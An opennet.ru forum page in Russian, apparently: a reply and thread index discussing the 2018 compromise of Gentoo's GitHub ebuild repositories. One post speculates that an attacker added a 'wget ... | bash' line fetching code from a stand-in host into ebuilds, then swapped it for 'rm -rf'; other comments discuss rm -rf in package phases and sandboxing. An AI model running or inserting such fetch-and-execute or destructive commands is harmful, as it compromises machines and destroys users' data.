forum.opennet.ru

"Взломана инфраструктура проекта Gentoo на GitHub"

Форум Разговоры, обсуждение новостей
Версия для распечатки	Пред. тема \| След. тема

Исходное сообщение

[ Отслеживать ]

Подсказка: Ссылки "<<" и ">>" открывают первые и последние 10 сообщений.

. "Взломана инфраструктура проекта Gentoo на GitHub"	+5 +/–
Сообщение от Аноним (-), 29-Июн-18, 10:13
> Я вот не понимаю А ты попробуй пойми. Не всё лежит на поверхности. Ведь главное - это не статичная картина последствий, diff сделают, не волнуйся. А интервал компрометации сервера, когда зловредный код распространяется, вероятно, тразитом, на разный узлы. Какир добавляет "wget -O - http://hack.all \| bash" в код ебилдов. Какое-то количество хостов заражены и начинают творить дела. Какир ребейзит, заменяет wget-коммит на хулиганский "rm -rf", делает housekeeping на сервере, еще какие-нибудь манипуляции, и, вероятно, в репах не остается следов первоначальной деятельности. Куча вариантов
Ответить \| Правка \| Наверх \| Cообщить модератору

Оглавление

Взломана инфраструктура проекта Gentoo на GitHub, opennews, 29-Июн-18, 09:20 [смотреть все]

Стоило, значит, продаться, и вот , Аноним, 29-Июн-18, 09:20 (1) //
- https www opennet ru opennews art shtml num 48715, Аноним, 29-Июн-18, 09:34 (7)
Граждане храните свой код в gitlab кассе , если конечно он у вас есть Где-то, Аноним, 29-Июн-18, 09:24 (2) //
- Угу, можно подумать GitLab не взламывали Граждане, храните ваш код на собственно, Аноним, 29-Июн-18, 11:36 (46) //
  - gitlab можно и на свой сервер поставить, utoplenick, 29-Июн-18, 12:18 (50) //
    - чтобы его там взломали, Аноним, 29-Июн-18, 12:54 (52)
- А мне BitBucket больше нравится, Аноним, 29-Июн-18, 18:09 (78) //
  - У богатых свои причуды https cdn fishki net upload post 2018 04 06 2561237 t, Инсайдер, 29-Июн-18, 23:43 (84)
- Свой код храним в SVN Сборка по трекингу коммитов в Redmine Ничего не имею про, ptr, 30-Июн-18, 11:02 (93)
После известных событий, Github открыл охоту на опенсорс , Аноним, 29-Июн-18, 09:25 (3)
Ребята не мелочатся , An, 29-Июн-18, 09:33 (6) //
- Есть ничем не потверждённое мнение, что этот коммит сделан для отвода глаз, чтоб, A.Stahl, 29-Июн-18, 09:36 (8) //
  - Очень может даже быть, Ano, 29-Июн-18, 09:43 (10) //
    - Я вот не понимаю это же гит, он и запушить то не даст если дерево хоть как то из, kvaps, 29-Июн-18, 09:56 (11)
      - А ты попробуй пойми Не всё лежит на поверхности Ведь главное - это не статична , Аноним, 29-Июн-18, 10:13 (18)
        
        Сломав rebase -i и не сделав заранее старый добрый тарбол, засаживаюсь смотреть , Michael Shigorin, 30-Июн-18, 00:01 (85)
        
        Я тоже всегда ищу под фонарем Там светлее , anonymous, 30-Июн-18, 20:49 (99)
        reflog - это локальная штука, reflog какира посмотреть не получится, Аноним, 28-Ноя-18, 19:40 (112)
      - Зачем вообще diff делать, залейте по новому свежую ветку и всё , Юрий, 29-Июн-18, 10:27 (23)
        
        Видимо есть желание не просто восстановить инфраструктуру, но и разобраться в пр, A.Stahl, 29-Июн-18, 10:45 (33)
        
        Залить рабочую на гит, а копию повреждённой потом изучай , Юрий, 29-Июн-18, 10:51 (35)
      - На жидхабе можно включить перезапись коммитов и сделать git push --force , Аноним, 29-Июн-18, 14:41 (64)
    - Да все ок там Просто ради прикола пару echo добавили тут и там Рекомендую загр, Наркоманка, 02-Июл-18, 16:48 (104)
  - Эта репа на гитхабе была исключительно для приёма pull-реквестов, причем PR-ы не, Аноним, 29-Июн-18, 10:21 (20)
  - и какая же , Аноним, 29-Июн-18, 10:24 (22)
  - Там же подписи, ничего не спрячешь, Crazy Alex, 29-Июн-18, 10:37 (28)
- точно микрософт линуксоиды не забыли бы добавить --no-preserve-root, dksbmjdrh, 29-Июн-18, 10:08 (15) //
  - --no-preserve-root не нужен при удалении всех файдов без самого корня , Аноним, 29-Июн-18, 10:36 (27)
- И это в ебилдах работает Топорно, глупо и по-детски Добавили бы хоть что-то вр, Внимательно читающий, 29-Июн-18, 10:20 (19) //
  - Это сработает, если стоит nosandbox в make conf, что не так по умолчанию, а так , nrndda, 29-Июн-18, 10:45 (32) //
    - Тут смотря в какую фазу был добавлен rm -rf В фазах pkg_ например pkg_posti, Аноним, 29-Июн-18, 10:59 (40)
      - Эти гм вставили первой строкой в каждый ебилд , Внимательно читающий, 29-Июн-18, 11:24 (43)
        
        Тогда код по идее тоже должен выполниться от рута и без песочницы Но надо прове, Аноним, 29-Июн-18, 11:50 (48)
        
        очередное напоминание линуксойдамкак там доверие к репозиториям поживает паке, J.L., 29-Июн-18, 15:21 (70)
        
        Но ведь репозитории как раз и не пострадали , Аноним, 29-Июн-18, 15:48 (71)
        
        везение или недосмотр , J.L., 29-Июн-18, 15:56 (72)
        
        Непонимание разницы между первоисточником и зеркалом, соответственно и между их , Michael Shigorin, 30-Июн-18, 00:02 (86)
        
        тоесть то, что тому админу после поблочили учётки на всех серверах вы считаете п, J.L., 30-Июн-18, 13:53 (98)
        
        Ты умееешь ставить пакеты в не от рута Или у тебя пакеты тарболлы , слакварщик, 30-Июн-18, 10:59 (92)
        
        чисто из любопытства а зачем вам firefox в руте , J.L., 30-Июн-18, 13:40 (96)
        
        nix например умеет ставить не в рутно пока инструкция установки для линукса буде, J.L., 30-Июн-18, 13:45 (97)
        хотя бы банально для того, чтобы не каждый, вызвавший в нем remote code exec, мо, нах, 03-Июл-18, 14:48 (108)
        
        я не живу всё в хомяк , и фокс от другого юзерано в пакетной системе при устано, JL2001, 10-Июл-18, 09:42 (111)
Сатанизм какой-то Оставьте нас в покое У нас и так мало времени, еще и гитхаб , Gentoo Developer, 29-Июн-18, 09:38 (9) //
- Очередное напомниание о том, что безопасность - это не просто фантом Мы не до, Аноним, 29-Июн-18, 10:04 (14) //
  - Наоборот - надо чётко понимать, от чего именно прикрываешься, и использовать соо, Crazy Alex, 29-Июн-18, 10:41 (31) //
    - Это да, 1Затягивание гаек по безопасности там, где не требуется, наносит удар п, Аноним, 29-Июн-18, 11:09 (41)
- Да, так мало времени, что в новости не стали указывать о блокировании аккаунтов , Внимательно читающий, 29-Июн-18, 10:29 (25)
А пруф будет Ведь если это перепивший админ или злоумышленник, завладевший паро, Аноним, 29-Июн-18, 10:03 (13) //
- Админа, чей пароль утёк, уже установили и заблокировали , Аноним, 29-Июн-18, 14:41 (63)
некоторое время ебилдов не ждите, Клыкастый, 29-Июн-18, 10:22 (21) //
- Да ну https gitweb gentoo org repo gentoo git , Аноним, 29-Июн-18, 10:28 (24) //
  - насыпает Анониму горсть чувства юмора , Клыкастый, 29-Июн-18, 13:51 (57)
- Нельзя не ждать ебилдов В этом смысл жызни , Анонимист, 29-Июн-18, 10:39 (29) //
  - Мы не можем ждать ебилдов от мейнтейнеров Написать их - наша задача В И Ленин, Клыкастый, 29-Июн-18, 13:55 (58)
Началось Ждем ответного удара по ауру , Аноним, 29-Июн-18, 10:40 (30)
Кстати, я вчера с гитхаба обновлял ебилды существенно раньше 20 00 UTC, и прилет, Crazy Alex, 29-Июн-18, 10:46 (34) //
- Но в тот момент это не вызывало особых подозрений , Внимательно читающий, 29-Июн-18, 11:29 (45) //
  - Вызвало, так что обновляться не стал, решил посмотреть поподробнее, когда будет , Crazy Alex, 30-Июн-18, 00:43 (88)
- Зачем ты обновлял ebuild ы c репозитория для разработки Он не предназначен для, yep, 29-Июн-18, 15:11 (68) //
  - Обновления ради разработки Не , A, 29-Июн-18, 20:51 (80) //
    - Ты с них систему обновляешь Не надо так делать Этот реп не для обновления дере, yep, 29-Июн-18, 20:58 (81)
  - Проверил - нет, не настолько плох, обновлялся с https github com gentoo-mirror, Crazy Alex, 30-Июн-18, 00:45 (89) //
    - я пока на всякий случай на обновления через rsync вернулся,а насчёт многих обнов, yep, 30-Июн-18, 02:09 (90)
    - https www gentoo org news 2018 06 28 Github-gentoo-org-hacked htmlтут ещё раз , yep, 30-Июн-18, 09:28 (91)
Насамом деле, мелкософт действительно хотел лишь помочь, но что-то пошло не так , шутник, 29-Июн-18, 10:55 (37) //
- А получилось как всегда , Аноним, 29-Июн-18, 11:10 (42) //
  - Да загадочно подмигивая, опустив при этом голову , шутник, 29-Июн-18, 12:17 (49)
- там просто после rm -rf был запуск установщика 10-чки Но setup exe не запу, 1, 29-Июн-18, 11:36 (47)
Жесть, вообще Как раз читаю уже несколько дней Gentoo Handbook, собираюсь накат, danonimous, 29-Июн-18, 13:15 (53) //
- При установке gentoo по handbook скомпрометированные ебилды с жидхаба в систему , Аноним, 29-Июн-18, 13:39 (56) //
  - Это уже неактуальная информация При синхронизации через rsync проверка целостно, Аноним, 29-Июн-18, 14:05 (59) //
    - Каким образом Только что распаковал последний стаж, там sys-apps portage собран, Аноним, 29-Июн-18, 16:01 (73)
      - Ха А стейджи действительно собраны без rsync-verify tar xOf stage3-amd64-2018, Аноним, 29-Июн-18, 16:43 (76)
        
        мы пятнадцать лет так собирали, и так раздавали, проверками озаботились вот, на , gentoo, 29-Июн-18, 22:07 (82)
    - Не синхронизируй их при установке , слакварщик, 30-Июн-18, 11:14 (94)
    - У меня она второй день при обновлении через rsync не проходит, обязательно для к, yep, 02-Июл-18, 02:17 (101)
      - Это бывает, когда напоролся на параллельное обновление В таком случае надо повт, SysA, 03-Июл-18, 17:41 (109)
  - Написано, что github использовался также для зеркалирования - это что имеется в , danonimous, 29-Июн-18, 14:47 (65) //
    - Имеется ввиду, что данное зеркало предназначалось для разработчиков, в том числе, yep, 29-Июн-18, 15:18 (69)
      - Т е оно и было выбрано для добавления rm -rf из-за отсутствия контрольных су, danonimous, 29-Июн-18, 16:26 (75)
        
        Можно и контрольные суммы было б подменить, если б они там лежали, но пришлось б, yep, 29-Июн-18, 16:53 (77)
      - Не для разработчиков, у девов есть коммит Для юзеров, заместо багзиллы, слакварщик, 30-Июн-18, 11:20 (95)
        
        Что есть Девелоперы имеющие права коммитить в webgit gentoo org могут коммитить, yep, 02-Июл-18, 02:15 (100)
        
        сколько безысходности в этой фразе а тут ещё PR на GH не отправишь жесть к, Клыкастый, 03-Июл-18, 14:39 (107)
- Не натворил бы portage, емнип, не допускает запуска bash команд снаружи функций, yep, 02-Июл-18, 02:21 (102) //
  - а тут говорят что допускаетhttps www opennet ru openforum vsluhforumID3 114710, JL2001, 10-Июл-18, 09:34 (110)
Вот поэтому я не доверяю новомодным дистрибутивам и мелкомягким Вечно с ними ку, Аноним, 29-Июн-18, 13:25 (55) //
- небось лфс конпеляешь по ночам , имя, 29-Июн-18, 14:39 (62) //
  - шлакваре - сказано же, новомодным не доверяет Твой lfs, если верить викивракии,, ., 03-Июл-18, 14:11 (106)
А в новостях-то киберпреступники , хакеры Но по исполнению похоже на обы, user90, 29-Июн-18, 14:10 (60) //
- Иногда то, что лежит на поверхности - это только лишь то, что лежит на поверхнос, Клыкастый, 29-Июн-18, 16:04 (74)
Там они еще и на freenode прыгнули https freenode net news security-update-, кочегар духовки, 29-Июн-18, 14:20 (61)
https i imgur com meklXMw jpg, Аноним, 29-Июн-18, 15:06 (66)
Видимо французы не любят Генту Странно, думал они любители всяких извращений , VINRARUS, 29-Июн-18, 15:08 (67)
микрософт как никак , Аноним, 29-Июн-18, 18:28 (79) //
- Да ладно, на первый раз же случайность - Совпадение и закономерность -- два п, Michael Shigorin, 30-Июн-18, 00:08 (87)
ничего не произойдёт в генту ебилды и сборка выполняются в chroot и sandbox е сп, runoverheads, 02-Июл-18, 11:36 (103)
Подробности компроментации не всплыли , Аноним, 02-Июл-18, 19:19 (105)

Форумы | Темы | Пред. тема | След. тема

Партнёры:

Хостинг:

Закладки на сайте
Проследить за страницей

Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру